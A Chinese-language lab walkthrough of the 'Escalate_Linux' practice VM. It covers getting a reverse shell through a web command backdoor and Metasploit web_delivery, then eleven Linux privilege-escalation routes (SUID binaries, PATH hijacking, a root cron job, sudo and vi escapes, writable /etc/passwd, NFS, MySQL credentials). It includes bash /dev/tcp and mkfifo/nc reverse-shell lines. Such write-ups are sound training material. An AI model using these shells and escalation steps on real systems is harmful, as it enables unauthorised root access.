Escalate_Linux 提权
Escalate_Linux 提权
打开靶机,NAT模式网卡
先做下探测
进行主机探测
嗯,这个135就是目标地址
端口
有个80,打开是个apache2默认页面
扫一手目录
访问是一个get马子
试了试直接写一个文件,没成(后边登上去试了试,确实是没权限创建文件)
试试弹个shell回来
bash -i >& /dev/tcp/0.0.0.0/1234 0>&1
没成功,编码也没成功,看了看网上的复现,发现普通的反弹shell并不能接收到,得用msf里边的反弹shell
use exploit/multi/script/web_delivery
复制生成的payload,还要进行一次url编码
cmd参数后边拼上,执行
msf中接到session
因为这个session接收到就会断掉,所以使用sessions -i 查看现有会话
连接上会话
拿到shell,可以看到有一句/bin/sh: 0: can't access tty; job control turned off
说明不是交互式shell,刚才用python的payload弹回shell,再用python命令获取一个交互式的shell
接下来就是尝试提权
据说是有12种提权方式
first
载个LinEnum传到机器上跑一下
https://github.com/rebootuser/LinEnum
本地起个http,在shell中wget 下载
然后加个执行权限
./LinEnum.sh > 1.txt
看一下跑得结果
有suid的文件
发现有两个home目录下的文件
/home/user5/script
/home/user3/shell
可执行文件shell,cat看看,是乱码。。
直接执行它,就root了
secend
通过第一种最简单的方式提权成功,回退回来尝试其他提权方法。
还有一个叫/home/user5/script的文件还没看呢
也是乱码,执行它
emm,列出了文件,像是执行了ls命令
目录下还有个ls文件,cat看一下,有几条命令,试试把他加到环境变量
可以看到再次执行./script的时候,以root权限运行了ls文件中的命令,打印出了root的密码hash,爆破一哈。
third
再试试能不能用/home/user5/script来直接提权
试试能不能修改ls这个文件
发现没有权限,想想办法,在/tmp下建个ls来写命令
执行script获取root权限
fourth
在之前用linenum.sh执行的结果中发现有一个计划任务是/home/user4/Desktop/autoscript.sh
每5分钟以root权限执行一次
cat一下,没啥东西,写个弹shell的命令,但是没有权限
这得登录上user4才能修改他,不知到密码,利用之前的script文件去修改密码
成功获取user4的shell,修改autoscript.sh内容为()
mkfifo /tmp/acps; nc ip port 0/tmp/acps 2>&1; rm /tmp/acps
本地监听,等待一会,接收到shell。
fifth
找不到其他的利用点,还是利用修改全局变量的方法来执行下命令,查看sudoers中有没有特权账户
从输出来看,user1可以以sudo权限执行全部命令,user2可以执行user1的全部命令,而user8可以以root权限执行vi编辑器,一个一个试试,还是用全局变量的方法来改下密码
先登录user1提权
sixth
再用user2提权
seventh
登录user8,利用vi提权
执行 :!sh 回车
获得root shell
eighth
再次浏览LinEnum.sh扫描结果,发现passwd中user7的gid值是0
还是利用全局变量修改user7的密码登录
user7有root组的权限,对/etc/passwd是可读可写的,加一个特权用户
ninth
查看/etc/group 发现user4也在root组中
user4还有一种提权方法与eighth一致
tenth
nfs提权
在LinEnum.sh扫描结果发现有运行nfs
showmount来查看一下目标,然后直接挂载到本地
进入挂载目录中,将/bin/sh复制到挂载目录,再赋予s权限
在shell中./sh -p来获取shell
eleventh
LinEnum.sh中有mysql的扫描信息
尝试默认密码后登录成功
拿到mysql用户密码,尝试登录shell试试
翻文件找到root用户的密码